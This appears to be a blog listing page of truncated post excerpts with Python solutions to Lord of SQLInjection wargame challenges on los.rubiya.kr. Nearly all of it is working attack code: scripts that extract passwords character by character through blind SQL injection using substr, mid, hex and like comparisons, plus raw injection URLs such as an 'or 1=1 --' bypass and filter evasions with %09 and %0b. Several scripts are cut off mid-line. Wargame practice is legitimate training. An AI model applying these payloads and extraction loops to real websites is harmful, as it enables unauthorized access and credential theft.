TenBird TenBird

import requests import urllib3 #pw=1%27||substr(hex(pw),1,2)%20=%2700 url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?" cookies = dict(PHPSESSID="kg75d303va7jetmfma123j9scv") a="" for i in range(1,25): for k in range(48,123): param1 = "pw=1%27||substr(hex(pw)," + str(i) + ",1" ")%20=%27"+chr(k) att = url + param1 res = requests.post(url=att,cookies=cookies) if "Hell..

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&&%20pw=%20or%201=1%20--%20

import requests import urllib3 a="" cookies = dict(PHPSESSID="6ia85u0t5ssos6a9v4btqc9s25") for k in range(1,20): for i in range(ord('0'),ord('z')): url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+str(a)+chr(i)+"%" res = requests.post(url=url,cookies=cookies) print(url) if ("Hello guest") in res.text: a = a+chr(i) print(chr(i)) break 실패 값이 90D2FE10이렇게 나옴 902%..

https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0b

import requests import urllib3 cookies = dict(PHPSESSID="") for i in range(1,9): for k in range(47,123): att = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&&no=1||%09id%09in%09(\"admin\")%09%26%26%09hex(mid(pw,"+str(i)+",1))%09in%09(hex("+str(k)+"))" res = requests.post(url=att,cookies = cookies) if "Hello admin" in res.text: print(str(i)+"번째 값"+chr(k)) break

import requests import urllib3 url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1%20&&no=1||%20mid(pw,1,1)%20like%201" cookies = dict(PHPSESSID="") for i in range(1,9): att = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1%20&&no=1||%20ord(mid(pw,"+str(i) for k in range(40,140): att1 = ",1))%20like%20"+str(k)+" --" url = att+..

from urllib import * import urllib3 import request import requests cookie = dict(PHPSESSID="") url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?%20pw=%201%27||%20%20left(pw," for i in range(1,9): attack = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?%20pw=%201%27||%20%20mid(pw,"+str(i)+",1" for k in range(ord('0'),ord('z')): attack1 = ")%20..

import requests chall_url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1' || id ='admin' %26%26 " print(chall_url.encode('utf-8')) cookie = dict(PHPSESSID="") for i in range(1,9): attack_root = "substr(pw," + str(i) + ",1) = '" for k in range(0,100): count = attack_root+chr(k) chall_url = chall_url+count req = requests.post(url=chall_url,cookies=cookie) chall_url = ..